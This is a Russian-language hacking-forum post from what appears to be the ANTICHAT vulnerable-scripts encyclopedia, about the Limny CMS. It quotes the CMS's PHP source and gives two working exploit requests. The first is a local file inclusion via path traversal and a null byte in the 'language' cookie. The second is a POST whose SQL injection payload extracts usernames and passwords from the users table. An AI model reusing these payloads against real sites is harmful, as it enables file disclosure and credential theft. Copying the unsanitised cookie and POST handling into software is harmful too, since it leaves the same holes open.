ANTICHAT - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

Дополнение к посту m0Hze

Local File Inclusion

Vuln file: aajax.php [str:11]

PHP код:


		
			
require("config.php");

require("includes/functions.php");

require("includes/class_mysql.php");

$db = new dbEngine;

$db->connect(HOSTNAME, USERNAME, PASSWORD);

$db->select(DATABASE);



define("LANGUAGE", Language());

require("languages/".LANGUAGE.".php");

/*...*/

Смотрим функцию Language() (includes/functions.php)

PHP код:


		
			
/*...*/

function Language()

{

    if(CheckLogin($_COOKIE['username'], $_COOKIE['password']) == true)

    {

        $language = UserOption($_COOKIE['username'], "lang");

        if(isset($_COOKIE['language']) and $_COOKIE['language'] != $language)

        {

/*...*/

        }

        return $language;

    }

    else

    {

        if(isset($_COOKIE['language']))

        {

            $language = $_COOKIE['language'];

        }

        else

        {

            $language = Settings("language");

        }

    }

    return $language;

}

/*...*/

Exploit:
if magic_quotes = OFF

Код:

GET http://[host]/[path]/aajax.php HTTP/1.0
Cookie: language=../../../../../../../[local_file]%00

* так же уязвимы файлы: ajax.php, majax.php, print.php, uajax.php

SQL Injection

Vuln file: ajax.php [str:397]

PHP код:


		
			
/*...*/

    $order=@$_POST['order'];

    $newsgroup=@$_POST['newsgroup'];

    $number=round(@$_POST['number']);

    $username=@$_POST['user'];

    if(!is_numeric($number) OR $number<=0){echo "<div class=\"error\">".$lang['error1']."</div>";exit;}

    if($newsgroup=="all"){$ng="";}else{$ng=" newsgroup='$newsgroup' AND";}

    if($order!="date"){

        $lastnews_result=$db->query("SELECT id, title, pretext, datetime FROM ".TABLE_PREFIX."usernews WHERE user='$username' AND lang='".LANGUAGE."' AND$ng releasestatus='1' ORDER BY datetime DESC LIMIT $number");

    }else{

/*...*/

Exploit:
if magic_quotes = OFF

Код:

POST http://[host]/[path]/ajax.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: [host]
Content-Length: 175
Cookie: language=en
Connection: Close
Pragma: no-cache

newsgroup=xek' union select null,concat_ws(0x3a,user,pass),null,null from lmn_users -- &page=newslist&number=1

-------------------------------------
Limny 1.01 (Auth Bypass) SQL Injection Vulnerability